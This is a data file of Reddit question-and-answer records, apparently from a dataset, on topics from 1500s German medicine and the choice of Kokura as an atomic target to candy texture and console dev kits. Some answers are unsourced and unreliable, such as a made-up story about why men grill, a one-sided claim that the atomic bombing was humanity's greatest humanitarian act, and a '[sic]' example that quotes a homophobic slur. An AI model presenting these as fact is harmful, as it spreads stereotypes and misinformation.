{"q_id": "arv9mt", "title": "I've had a cold for a couple of weeks, and it sucks. If I were afflicted by a lingering illness with cold- or flu-like symptoms in a town in 1500s Germany, who would I talk to for medical advice, and what would they recommend me?", "selftext": "Repackaging 1500s medical advice as a new hip kind of alternative medicine: I'm tellin' you now, it's gonna be big! ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/arv9mt/ive_had_a_cold_for_a_couple_of_weeks_and_it_sucks/", "answers": {"a_id": ["egqaka6", "egqr7hh"], "score": [847, 16], "text": ["Welcome to...modern America? By the late 1400s in Europe, you can finally talk about a \u201cmedical marketplace.\u201d There were any number of medical specialists you could consult for all types of problems and preventatives\u2014from dentists and oculists on up to university-trained physicians. If you had a go-to favorite practitioner, regardless of their specialty, you might head there regardless of the actual problem. But say you\u2019re an immigrant to Nuremberg; you don\u2019t know anyone; you\u2019re hearing good and bad things about everyone; even the city\u2019s lead surgeon, a barber named Hans Folz, just got sued for making someone\u2019s arm wound worse so he\u2019d have to amputate for more revenue.\n\nNo, you have a problem, and you trust the crafts and their specialty practitioners. (Nuremberg has not had guilds since 1348-49, when the patricians crushed an artisan uprising.)\n\nNow, you\u2019d probably know if you were dealing with snakebite or an infected tooth that needed to be yanked, so you can rule out those doctors. I assume you\u2019re not visibly pregnant, so you\u2019re not headed for a midwife. For the sake of argument let\u2019s assume you\u2019re also not *invisibly* pregnant and looking for an off-market, non-guild woman or man with a reputation for providing remedies that, as the texts say, \u201crestore the menses.\u201d\n\nIf it\u2019s before about 1530, you are almost certainly going to be praying fervently to one of the fourteen Holy Helpers, a group of saints especially popular in the late Middle Ages for...being holy and helping? St. Katherine of Alexandria is probably your go-to wherever in Europe you are. You and your family are also praying like mad to St. Sebastian, patron saint of people suffering with pestilence (a.k.a. the Black Death), that you\u2019re not in its early stages.\n\nAfter 1530...yeah, you\u2019re probably still praying for some kind of intervention, although if you\u2019re in a Protestant area you\u2019ll gradually replace Margaret of Antioch and Ursula with, for the first time in Christian culture, your guardian angel.\n\nBut if you\u2019ve got the money\u2014let\u2019s say, urban bourgeoisie or patrician, or landed lower nobility\u2014you really have three basic options for some kind of persisting upper respiratory thing that\u2019s worse than normal: apothecary, barber, or physician.\n\nA physician is probably overkill, in all honesty. There aren\u2019t that many of them, and there\u2019s a good chance they\u2019re more concerned with theoretical stuff anyway. You want someone whose bookshelf is stocked with a couple of the new genre of vernacular (German) professional treatises on preventing plague, dealing with symptoms from the bad air in enclosed workshops (LPT: open the window), all the many uses of rosewater. After all, these books cite Galen and Avicenna, the same *auctoritates* Latin physician people do. And they\u2019re in a language you know and trust\u2014Folz, our crafty craftsman, even wrote two different treatises on how to prevent pestilence because he was unhappy with how physicians translated the Latin recipes into German.\n\nNow, if you need any kind of recipe (prescription), you\u2019ll end up at the apothecary anyway. Well, in theory. Barbers, oculists, and other non-apothecaries were not legally permitted to sell spices and other _Rezepte_ ingredients. Of course, some did. Just like apothecaries were not allowed to diagnose and treat illness, but...Hey, these are the days when Augsburg\u2019s got Protestants and Catholics living side by side and tavern-keepers are selling food outside meal hours!\n\nBut most likely, if you\u2019re not getting the results you want from your saint, angel, or herbal specialist (...not THAT kind of \u201cherbal specialist\u201d), you\u2019re off to the barber.\n\nSome cities guilds\u2019 will distinguish among barbers and barber-surgeons, but again, it\u2019s not nearly so precise in practice. Barbers\u2019 main jobs are leeching and treating pestilence. Yup, physicians could legally beg off treating plague and flee to the countryside. This was the #1 was to prevent pestilence, according to barber authors who...were legally required to remain in pestilence-stricken cities to treat people. As for the \u201csurgeon\u201d part, well...you remember our buddy Folz up there.\n\nBut you\u2019re just generally miserable. Probably the barber is going to leech you. They might prescribe a recipe as well, especially if they\u2019ve got the ingredients literally under the counter. Oh, yeah, and to help determine which, you\u2019re going to be peeing into a flask at either the barber or the apothecary. \n\n...so they can diagnose you based on the color of your urine! I TOLD you, *not that kind of herbal specialist!*", "How common was opium/opiates? We're they commonly used to treat pain for Joe peasent? or was it used mostly by the upper class?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "16c6ds", "title": "Baking a loaf of bread in a zero-gravity environment?", "selftext": "If we could place a floating ball of dough in a cooker, how would it bake? Spherical loaf? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/16c6ds/baking_a_loaf_of_bread_in_a_zerogravity/", "answers": {"a_id": ["c7ut1cc"], "score": [7], "text": ["I haven't seen any test of this specifically, so this is speculation based on observations and related research.\n\nZero gravity: Yes the dough would rise and bake into loaf that is more or less the same volume as normal. If you form the dough into a different shape (e.g. a baguette) it would retain that shape, but if left alone it would tend to be spherical. It wouldn't rise much more than normal since surface tension and gluten still holds the dough together. (Which of these is more important is [still an open question](_URL_0_), but I'd expect gluten to dominate for high volume expansion.)\n\nIf you bake bread on a tray, rather than in a bread pan, there is no gravity stopping the dough from expanding to the side (as a matter of fact, gravity is squishing the dough which is pushing it out to the sides more) but it doesn't spread significantly more than it rises.\n\nLower air pressure could change things. The pressure that yeast generates inside a loaf of bread can be up to [200 mm water column](_URL_2_) which is 1/5 of an atmosphere, above normal air pressure. At lower air pressure the yeast would have less oxygen, but should still be able to generate the same pressure of CO2, so I'd expect the bread to rise more. Having said that, I've baked bread in Denver Colorado (where the air pressure can be close to 4/5 of an atmosphere) and I did notice that it rose significantly faster. Some bakers adjust the [time or amount of yeast](_URL_1_) to compensate for this.\n\nWith no atmosphere, the yeast wouldn't grow, but a baking soda based quick bread should still work.\n\nI'd also expect the baking process would be a bit different. With no convection currents in the oven, water vapor would stick around for longer, so I'd expect a thicker crust forming on all sides of the \"loaf\", which might prevent it from expanding as much as normal.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.twobluebooks.com/Website%20excerpt.pdf", "http://www.thefreshloaf.com/node/15897/high-altitude-bread-baking", "http://www.aaccnet.org/publications/cc/backissues/1971/Documents/Chem48_669.pdf"]]}
{"q_id": "3lvigo", "title": "How long would it take bacteria to multiply, for them to cover a distance of 1 metre or an area of 1 metre squared?", "selftext": "On a very basic level I seem to remember that bacteria exponentially multiply roughly every 20 minutes (?). Yet how long would it take them to travel a distance of say a metre. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3lvigo/how_long_would_it_take_bacteria_to_multiply_for/", "answers": {"a_id": ["cv9qon1"], "score": [19], "text": ["So, making some sweeping assumptions, I'll take your 20 minute generation time, though that only really applies for some bacteria, in liquid culture, shaking with rapid aeration. On a surface, the growth would be slower, but let's just the 20min all the same. I'll also assume you're laying them end-to end if they're a rod-shaped bacterium, or a monolayer over that square of spherical bacteria packed in a square array. \n\nThe equation for length would be \n\n    L = (length of one cell) x 2^(time/doubling time)\n\nFor the 1-meter length:\n\nAn *E. coli* bacterium is about 2 micrometers long. \n\n    L = (2 x 10^-6 m) x 2^(t/20minutes)\n    log2 [1/(2 x 10^-6)] = t/(20 minutes)\n    t = 18.93 x 20 minutes\n    t = 6.3 hours\n\nUsing a the same formula for the square, a Staphylococcus bacterium is 0.5 micrometers in diameter, packed in a square array we can treat them as square in area, so 0.5 um x 0.5 um = 0.25 x 10^-12 m^2 per cell.\n\n    A = a x 2^(t/20minutes)\n    1m^2 = (0.25 x 10^-12 m^2) x 2^(t/20minutes)\n    log2 [1/(0.25 x 10^-12)] = t/(20 minutes)\n    t = 41.86 x 20 minutes\n    t = 14 hours\n\nAnd just for fun, I changed that 1 m^2 for 510 trillion m^2, the surface area of the Earth..... 30.2 hours.\n\nExponential growth is fun.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cmctgm", "title": "how do game programmers develop a game for console if it\u2019s not playable on pc. mainly in testing if the code is working, is there a developer console that bridges the gap between pc code and actual consoles?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cmctgm/eli5_how_do_game_programmers_develop_a_game_for/", "answers": {"a_id": ["ew1dfoe", "ew1dhkb", "ew1fe5n", "ew1heln", "ew1lyz0"], "score": [12, 32, 5, 2, 2], "text": ["There is. They get a developer console which is pretty much the final hardware except cosmetics, and an interface to run their software without a need to produce cartridges or disks first.", "Yes, console manufacturers make developer consoles.  Usually you can load games over the network, attach debuggers, take screen caps, gather performance data, and such like that.  They may actually have more RAM and CPU power than a normal console, in order to support these functions while your game is running.\n\nOf course, you usually can't connect to any online services with them because it would allow massive hacking.", "There can be special hardware especially for older consoles often with special card you can interface them with a computer.\n\nFor consoles today like Xbox and PS4 they are very close to a PC in there design  so you have special consoles for development where  I suspect the main difference is that the software is different so you can transfer the programs you create on a PC to them over the network and then they send debug information back. You can see a PS4 dev kit  [_URL_0_](_URL_0_) \n\nFor Xbox One it just look like a setting on the standard console  and windows software to develop stuff. It look like anyone just can register online to do that but to distribute the game microsoft must approve the. [_URL_1_](_URL_1_)Because Windows and the operatin system on a Xbox is variant of the same system I would be suppries if microsoft could not if  the like port the special libraries and make it possible to compile and run it in windows. A lot of game porting is just to change a small amount of console specific stuff. The part in a conversion that take more time is to change the interface of the game to one appropriate to a mouse and keyboard instead of just a control pad, unfortunately many game do not change the interface.\n\nAlmost all software for everyone regardless of what is used today is developed on a  PC or a Mac. The developers software can compile the code so it work on another platform and it is called cross compiling.  smartphone apps is done the same way code on a computer, compute for Ios or Android and  transfer it to the device, that is often done automatically in the compiler. A game console is no different.  Sometimes you can test the code in emulated environment on the computer sometime you cant.", "The code, graphics, sounds, etc., are all produced on PC's. Small portions of the game can be played on the PC, but for thorough testing, it's always ran on the target console (To ensure smooth gameplay). Developers will also have developer consoles, which are special consoles that do not have DRM or anti-cheat countermeasures. This allows the developers to attach debug devices and to tweak the games in special ways to test functions. They can also easily transfer the game to the console through the network, eliminating the need to constantly burn DVD's and Bluray's.\n\nIn modern times, this is much easier as all but the Nintendo switch run x86 CPU's, the same type of CPU that PC's and Mac's run. They also use very similar GPU's that PC's use, usually modified AMD GPU's. It's especially easy for XBOX, as it uses DirectX, the same game API that Windows uses. This makes testing XBOX games on a PC very easy.\n\nThese days, the XBOX and PS4 are essentially just highly optimized PC's. So producing games for them are quite easy. In the past, it was a bit difficult as consoles would typically use specialized CPU's and GPU's.", "There were indeed. \n\n[Here](_URL_0_) are a few old developer consoles, for the Xbox, PS2, Gamecube and Dreamcast respectively."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://kotaku.com/guy-buys-ps4-dev-kit-full-of-data-from-closed-studio-1789669525", "https://www.polygon.com/2016/3/30/11318568/xbox-one-dev-kit"], [], ["https://i.pinimg.com/originals/fa/d7/a7/fad7a7140b3d6b20bc7895a2b5c87d75.jpg"]]}
{"q_id": "2ojvwt", "title": "TIL that Kokura, Japan was the original target for the 2nd Nuclear Bomb in Japan. However, it was too cloudy to drop it on Kokura and Nagasaki was a secondary target. Why did the Allies believe Kokura was a more valuable military target than Nagasaki?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ojvwt/til_that_kokura_japan_was_the_original_target_for/", "answers": {"a_id": ["cmntnmw", "cmnv6ah", "cmo7cj5", "cmoi8p9"], "score": [653, 17, 27, 3], "text": ["Kokura was the site of a major arsenal. It actually shows up in [their second target meeting discussion](_URL_1_):\n\n >  (4) Kokura Arsenal - This is one of the largest arsenals in Japan and is surrounded by urban industrial structures. The arsenal is important for light ordnance, anti-aircraft and beach head defense materials. The dimensions of the arsenal are 4100' x 2000'. The dimensions are such that if the bomb were properly placed full advantage could be taken of the higher pressures immediately underneath the bomb for destroying the more solid structures and at the same time considerable blast damage could be done to more feeble structures further away. (Classified as an A Target)\n\nSo you have to see this as having two benefits: one is that it a good strategic target because it is a military arsenal surrounded by an urban area. That means it satisfies their \"bomb a military target but also do a lot of collateral damage\" requirement, so that the power of the bomb is showcased. And it also was relatively flat, so the damage would go a far distance.\n\nNagasaki wasn't discussed in any of the target meetings; it was lower on the list than any they got to. In fact, it was so low on their agenda that it wasn't even put on a \"reserved list\" for protection against firebombing in late June 1945, when Kokura was (the list had previously included [Hiroshima, Kyoto, and Niigata](_URL_3_)). After the bombing, the supposed importance of Nagasaki as a military target was talked about at length to justify the bombing, but the actions at the time suggest that nobody really thought it was that important a target.\n\nIn fact, it's not even totally clear when it ended up on the target list. The original list was Kyoto, Hiroshima, Yokohama, Kokura, and Niigata. [Kyoto got removed at personal intervention of Secretary of War Stimson](_URL_0_). Yokohama got firebombed shortly after the list was compiled. So that left Hiroshima, Kokura, and Niigata. Nagasaki shows up on a July 24 target list that is what gets approved by Truman et al., but not before that. That list simply says that Nagasaki is \"a major shipping and industrial center of Kyushu,\" whereas it claims Kokura was \"one of the largest army arsenals and ordnance works; has the largest railroad shops on Kyushu; and has large munitions storage to the south.\" \n\nI haven't found documents referencing it, but the fact that Nagasaki was hilly may have played a role in its being a secondary target as well \u2014 hills can amplify the effects of the bomb within them, but limit its ultimate reach. They were interested in destroying as much area as possible, not just destroying the destroyed area more intensely. The effect of hills was anticipated (and you can see it in the early discussions of the advantages of Kokura), and did indeed limit the scope of Nagasaki's destruction (also contributed to by the fact that the bomb was off-target significantly). \n\nAs an aside, the source of the cloud/smoke/haze at Kokura [has not been conclusively determined](_URL_2_). ", "Why not drop the bomb right on top of the emperor, wherever he resided? ", "Of interest might be [this](_URL_0_) recent story, about how a group of steel workers actually created those clouds by burning coal tar to create a smoke screen, saving their city Kokura at the expense of Nagasaki.", "Can I ask a question off this question. Are their any good reads on the aftermath of Nagasaki ? I see so much about Hiroshima . I'm looking for the aftermath and rebuilding process."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://blog.nuclearsecrecy.com/2014/08/08/kyoto-misconception/", "http://www.dannen.com/decision/targets.html", "http://blog.nuclearsecrecy.com/2014/08/22/luck-kokura/", "http://blog.nuclearsecrecy.com/wp-content/uploads/2014/08/1945-06-27-Reserved-Areas.pdf"], [], ["http://mainichi.jp/english/english/features/news/20140726p2a00m0na014000c.html"], []]}
{"q_id": "7kokl3", "title": "why do most hard candies just shrink down as you suck on them but peppermints get all porous and full of holes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7kokl3/eli5_why_do_most_hard_candies_just_shrink_down_as/", "answers": {"a_id": ["drfy4a0", "drg1raf", "drg81mm", "drgaxdq", "drgaxq0", "drgbs0c", "drgd6gs", "drgd7j2", "drgdclc", "drgerjf", "drggbi3", "drghsw5", "drgiki3", "drgk4az", "drgvmzg", "drhl6i6"], "score": [4005, 7288, 139, 127, 12, 2, 4, 34, 10, 5, 8, 2, 6, 3, 4, 3], "text": ["Because most hard candies are a solid structure of sugar -- as you strip off the outermost layers of sugar, you reveal the next layer down.\n\nPeppermints and a few other candies are actually filled with holes, so as you dissolve the outer layer, you get a new layer that also has holes.\n\nAnd then you have candies like Mentos where the outer layer is peppermint with all its holes, but this is on top of a candy layer that has no holes... so as you suck on it, the holes disappear.", "I can't find the YouTube video I'm thinking of, but [this one](_URL_0_) (link should start right about the time they're \"whitening\" the white part of the candy cane) gives a good fast-forwarded example of the process. Basically, to get the candy to look white, the candy is folded many, many times, trapping tiny air bubbles which makes the candy look white. Then, as you're sucking on the candy, your saliva dissolves the microbubbles until you have little bubble craters in the candy.", "congrats on this question which i never would have thought of as a scientific query in the realm of materials science\n\nyour question relates to science of cooking\n\ncandies are not all made the same way. some are homogeneous and continuous, and some have air mixed into them to make an inhomogeneous bubble like structure. it's the latter that will form a sponge if you dissolve some of the sugar.\n\nthere are several books that talk about the physics and chemistry of cooking (just google) and will give many other examples. for example, angel food cake versus cookies, etc. many physical variations based on processing differences.", "I don\u2019t think this is so much a chemical process as a production process. No one has really touched on how peppermints are made. They are a pulled candy. As the hot candy is cooled it is pulled on a big hook or machine which aerates the candy, turns it from clear to opaque and creates strands of candy, thereby packs hundreds of strands into a single stick or drop. [This video explains how handmade peppermints are made](_URL_0_). The music is... not great... but it gives you some insight into how peppermint sticks, canes and candies are created. ", "Peppermints have bubbles folded into them while hot durring the cooling process. They are just bubbles trapping in the candy.", "That's because during the cooking process of the candy's syrup, bubbles get created. Imagine the process of boiling water and how bubbles form at the bottom and rise to the top.  The same happens here.  Also, depending on how the candy gets processed from its liquid form to its harden end state, air bubbles can form inside the candy  and get trapped before the candy gets hardened.  ", "I'm no materials scientist but this sounds like a solid example of bulk erosion vs surface erosion.  Bulk erosion is the peppermint case, where the saliva penetrates rapidly throughout due to the bubbles formed in the cooking process and erodes the entire material.  Hard candies are more resistant to saliva penetration and so only the surface erodes.", "In order to make peppermints white, they are pulled on a candy hook.  This pulls tiny air bubbles into the hot sugar, refracting light until the entire thing becomes opaque and white.  As the candy dissolves in your mouth, tiny pores merge to become larger and larger.  The direction the pores go in indicate the direction the candy was pulled.  ", "They are pulled candy and have long skinny bubbles running in a certain grain through them.\n\nIt's easier for saliva to permeate these holes to eat away from these cross sections of bubbles outwards.think of it as the spit making these bubbles bigger while the candy shrinks.", "Btw, any suggestions for non-sour hard candies? (Jolly ranchers is too sour for me, except the watermelon flavor).", "Because to make peppermint you pull the cooked sugar and fold it over and over again until you can knock it on the counter and it makes a sharp noise. That's when you roll it into the thin cylinder and make the desired shape. The pulling and folding adds tiny air pockets into the sugar, but when you roll it into the shape the outside gets smooth. So when you start sucking it's smooth, but then when you get the middle area you get the air pockets you made.", "All in the way they are made - some hard candies are made via mold - they are just sugar solutions poured into a mold and hardened. But peppermint candies are aerated as they cool down - they are folded as they are cooling (similar to taffy if you've ever seen their machines folding them at a candy shop). The folding add bubbles to the candy structure. The air bubbles break down faster than a solid hard candy structure. ", "Follow-up question: How come peppermint breath mints become porous while peppermint candy canes become miniature stabby death-sticks? ", "My dad worked for Lifesavers and worked on Lifesavers mints, so I've learned a thing or two about this. Peppermints often start out as a powder that is pressed together with a lot of force - I've even watched powder go into machines and mints come out. As you suck on it, the powder comes apart a bit. In contrast, hard candy is a basically a hardened syrup goes into the machine in the same texture that it comes out, just pressed into a shape. As you suck on it, that syrup melts.", "Most hard candy like a jolly rancher is poured or just sized and cut from a slab, candies like starlight mints and some cut rock candies are pulled to incorporate air this makes them a bit lighter and more opaque. This is when you get the holes when sucking on them. Things like altoids are cut from a fondant dough, and after dinner mints are a grained candy. If you want to talk more candy science please reach out, I do this for a living. \n\nEdit-added a bit more detail", "Why do most hard candies just shrink down as you suck on them but jolly ranchers slice open your god damned tongue? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://youtu.be/cIKnrFNsGpA?t=2m59s"], [], ["https://youtu.be/EXOouUXqPyI"], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "acnaoz", "title": "Code Talkers of WWII", "selftext": "New to this subreddit, is there any information on code talkers and missions they performed or contributed to during the 6 month period of storming Normandy to Battle of the bulge? Specifically the European theatre and not the pacific theatre. I\u2019m looking for actual missions, names, dates and divisions. \n\nI currently have in my possession almost every code talker book still in print but they don\u2019t go into detail in regards to missions and divisions they were placed in especially the dates I\u2019ve requested for. ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/acnaoz/code_talkers_of_wwii/", "answers": {"a_id": ["ed9rme1"], "score": [2], "text": ["You would have better luck finding the information you seek by searching for the Comanche Code Talkers that were with 4th Signal Company, 4th Infantry Division. They were attached from the D-Day landings at Normandy in June 1944, to the liberation of Paris and the Battle of the Bulge.\n\n17 in total served in the European theater. Some information about them can be found [here](_URL_0_) and [here](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.comanchemuseum.com/code_talkers.html", "https://www.army.mil/americanindians/code_talkers.html"]]}
{"q_id": "18wzom", "title": "Were there any African American politicians who were part of the Democratic Party in the late 1800s?", "selftext": "If so, who were they? What were their motivations/reasons for joining the Democratic Party?\n\nAlso, how many were based in the South?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/18wzom/were_there_any_african_american_politicians_who/", "answers": {"a_id": ["c8isprb", "c8iycd9"], "score": [2, 3], "text": ["I can't give you an exact date, but by the turn of the century, there were absolutely black Democrats in Northern cities, especially New York. Tammany Hall was more than happy to dispense patronage to black leaders in exchange for votes on election day. Outside of big city machines though, blacks voted overwhelmingly Republican until 1936. The first black Democrat elected to Congress was [Arthur W. Mitchell](_URL_1_), from Illinois, who was elected in 1932, defeating [Oscar DePriest](_URL_0_), a Republican who was the first black elected to Congress since Reconstruction. \n\nFor more info, [see here](_URL_2_). ", " >  how many were based in the South?\n\n\nKeep in mind that, from the end of Reconstruction through 1944, many Southern States had \"white primary\" systems, in which the Democratic Party officially excluded blacks from being members of the party, or voting in its primaries. These included:\n\n- Texas. *See* [*Smith v. Allwright*, 321 U.S. 649 (1944)](_URL_4_) (declaring white primaries unconstitutional).\n\n- South Carolina. *See* [*Rice v. Elmore*, 165 F.2d 387 (4th Cir. 1947)](_URL_3_) (striking down white primary).\n\n- Georgia. *See* [*Chapman v. King*, 154 F.2d 460 (5th Cir. 1946)](_URL_0_) (striking down white primary).\n\n- Florida. [*Southern Reaction...*, St. Petersburg Times (Apr 4, 1944)](_URL_6_).\n\n- Mississippi. *ibid.*\n\n- Arkansas. *ibid.*\n\n- Alabama. [*Alabama Discards 'White' Primary*, Sarasota Herald-Tribune (Jan 14, 1946)](_URL_5_).\n\nVirginia had prohibited blacks from primary elections by statute, but that law had been struck down in 1930, and the Democratic Party had not attempted to evade the decision by adopting its own restrictions. [*Bliley v. West*, 42 F.2d 101 (4th Cir. 1930)](_URL_2_). Some other States managed employ ruses to exclude black voters entirely. *See* [*Lane v. Wilson*, 307 U.S. 268 (1939)](_URL_1_) (striking down Oklahoma \"grandfather clause\" law that prevented blacks from voting).\n\nAnd in many such States, the Democratic Primary basically *was* the election:\n >  \"The real elections within [South Carolina] have been contests within the Democratic Party, the general elections serving only to ratify and give legal validity to the party choice. So well has this been recognized that only a comparatively few persons participate in the general elections. In the election of 1946, for instance, 290,223 votes were cast for Governor in the Democratic primary, only 26,326 in the general election.\"\n\n*Rice v. Elmore*, 165 F.2d 387 (4th Cir. 1947)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Oscar_De_Priest", "http://en.wikipedia.org/wiki/Arthur_W._Mitchell", "http://www.reddit.com/r/AskHistorians/comments/yczua/can_someone_address_a_brief_history_of_democrats/c5ui4pm"], ["http://scholar.google.com/scholar_case?case=14262213483314720223", "http://scholar.google.com/scholar_case?case=10209404446276435090", "http://scholar.google.com/scholar_case?case=18083646202211801699", "http://scholar.google.com/scholar_case?case=15172398581205714746", "http://scholar.google.com/scholar_case?case=17077042024381294936", "http://news.google.com/newspapers?nid=1755&amp;dat=19460114&amp;id=TuMcAAAAIBAJ&amp;sjid=mWQEAAAAIBAJ&amp;pg=2285,960957", "http://news.google.com/newspapers?id=m0ZPAAAAIBAJ&amp;sjid=oU4DAAAAIBAJ&amp;pg=6491,969459&amp;dq=white-primary+florida&amp;hl=en"]]}
{"q_id": "760y8u", "title": "why is grilling associated with men while cooking is associated with women?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/760y8u/eli5_why_is_grilling_associated_with_men_while/", "answers": {"a_id": ["doaj4dh", "doakiln", "doalzpt", "doasmwi"], "score": [6, 3, 3, 4], "text": ["Advertising in the 1950s basically invented it to sell grills.  Similar to how advertising invented the concept of B.O. to sell deodorant,  etc.", "Many many years ago, a successful hunt was followed by a BBQ session among the hunters, and the warriors and kings were fed, followed by the women folk and kids.\n\nThen women wanted to cook because of feminism, and didnt want they guys to have all the fun.\n\nSo one fine day, they made some sandwiches and the men-folk discovered it was more convenient for them to focus on hunts and warfare and leave the cooking to the women.\n\n", "Cooking is only associated with women when there is no money or notoriety involved. Most professional chefs are men.", "Cooking isn't really associated with women. As an industry it's dominated by men. However as a house chore it was traditionally the woman's job, because the man was working. Bbqs are seen as a chill time with the boys, usually on a weekend when the man actually has time to cook, thus it's seen as manly. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1g7cq1", "title": "Why do humans hold grudges? Is it inherited or strictly a human foible; do any other species indulge in grudge holding?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1g7cq1/why_do_humans_hold_grudges_is_it_inherited_or/", "answers": {"a_id": ["cahhaf1"], "score": [2], "text": ["Not sure if \"grudge\" is the right word, but [crows](_URL_0_) remember specific humans who have done them wrong in the past."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nytimes.com/2008/08/26/science/26crow.html"]]}
{"q_id": "xwl37", "title": "[sic] what purpose does it serve and when can i use it in a sentence?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/xwl37/eli5_sic_what_purpose_does_it_serve_and_when_can/", "answers": {"a_id": ["c5q7iy8", "c5q7j3u"], "score": [5, 16], "text": ["[sic] means more or less \"this is intended\". For instance you could say \u00ab  Mr X advocated for \"mor chicken\"[sic]\u00bb. that would mean he really said 'mor', that is not a typo. For instance you could say \u00abMr X strongly opposed \"those filthy faggots\"[sic]\u00bb. That means you obviously knows that homosexual are not filthy and \"faggot\" is rude, but you quote it because Mr X said it.", "It means that the person whom you're quoting made an error, and you're leaving that error in for accuracy to the quote.\n\n\"Those terrorists misunderestimated [sic] what America can do.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "64axs5", "title": "why does weed leave resin behind?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/64axs5/eli5_why_does_weed_leave_resin_behind/", "answers": {"a_id": ["dg0qzj5"], "score": [2], "text": ["When you burn anything, you get some tar  &  soot left behind.  Hold a glass over a burning candle  &  you'll see black shit start to collect on it too.  It also builds up in hookahs, tobacco pipes  &  chimneys - it's not unique to weed.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "aqks9z", "title": "why was the atomic bomb worse than mass carpet bombings in wwii?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aqks9z/eli5_why_was_the_atomic_bomb_worse_than_mass/", "answers": {"a_id": ["eggm4iu", "eggmgrp", "eggmmc8", "eggmslt", "eggnils", "eggrhhj"], "score": [10, 3, 5, 4, 3, 2], "text": ["There\u2019s a great video about this by a youtube channel called Knowing Better, I\u2019d really recommend it. It\u2019s a video called \u201cHow to Make Bad History Worse.\u201d It\u2019s not only about the atomic bomb but it will answer your question. \n\nEdit: actually it\u2019s the very first thing he talks about in the video now that I went back and watched it.", "Well think of how it looked to Japan. It was a show of force, probably the most frightening thing anyone in the world had ever seen.\n\nA nuclear bomb is terrifying. The US demonstrated that not only would they bomb japan, but that they had bombs capable of vaporizing entire cities instantly, along with hundreds of thousands of lives gone in a flash, with ONE bomb. Imagine if you were Japan. Your enemy can literally choose any day of the week to blow up one of your cities, and there\u2019s nothing you can do about it whatsoever. \n\nIt\u2019s not so much that the nuke is \u201cworse\u201d than carpet bombing or caused more damage overall. It\u2019s that a world superpower had bombs capable of leveling cities within seconds, and said superpower demonstrated not once but twice that it will use those bombs on any city in Japan if it wants to, unless Japan surrenders.", "It wasn't, and it didn't end the war. The atom bombs weren't even the most destructive, as you said. Documents show they met about it and decided it changed nothing. At the time, they just wanted to hold out long enough for more favorable surrender conditions (they knew they already lost).\n\nThey wanted to do it by either forcing the US to invade, thus inflicting so high of casualties with their heavily defended islands that the US would have to settle, or convincing the USSR (who was neutral at this time) to mediate negotiations and convince the US to give them their preferred surrender conditions. Then the USSR invaded them from mainland Asia. This royally fucked all their plans and forced them to immediately surrender.", "The psychological impact of the city where you grew up (and what's almost everyone you know) disappearing in a fraction of a second is what sticks with people. With the carpet bombings, you kind of have warnings, you can get to safety and ride it out. Yes many people died and they were devastating but there's some semblance of control of your own safety. \n\n & #x200B;\n\nThe nuclear bomb was never seen before, it came out of nowhere and annihilated a city. Not to mention the affects on the body are insane. There are stories of people wearing thin cloths where the skin that was covered was completely untouched and everything exposed was burnt to the bone. There's one story of a survivor who was in the washroom when the bomb hit, it leveled her home but she survivors relatively unhurt. Her sister was standing outside and was completely disfigured and died days later.", "During a normal carpet bombing raid you would have hundreds of airplanes flying over an area dropping tons of bombs. This required a strong supply line with lots of US factories, ships and crew tied up in order to conduct a single bombing raid. And during the raid they would be subject to flak and interceptors. The targets also got warnings of the incoming formation of aircraft and could seek shelter.\n\n & #x200B;\n\nHowever in Hiroshima, a single aircraft, like many other American aircraft flying over the city that day, did not trigger any warning system and were not shot at. It dropped one bomb and leveled the entire city. Another day, another bomber, another city, no warning, nothing they could do about it. How many days, how many cities, until the Japanese people could offer no more resistance?\n\n & #x200B;\n\nOf course what Japan did not know was that the US were out of supplies to make bombs out of. And they would require huge facilities to even produce a bomb every month. However the US claimed that they had hundreds of bombs prepared and could keep on dropping them until the surrender. And there were nothing Japan could do about it.", "The whole point of using atomic bombs was that it was better than the alternative. Using nuclear weapons saved hundreds of thousands of lives (maybe millions) by shortening the conflict.\n\nYou have to account for the lives of troops saved on all sides by ending combat, as well as the civilian population. Then you have to add in the people who would have died from starvation or poverty due to the outcomes of the war, rationing, etc.\n\nThe war would have likely spread in the Pacific to other countries that were otherwise unimpacted. And it would have had additional involvement in China as well which would have significantly influenced the death toll.\n\nWhen it comes down to it, using the bomb may have been the greatest humanitarian effort in all of human history up to this point."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
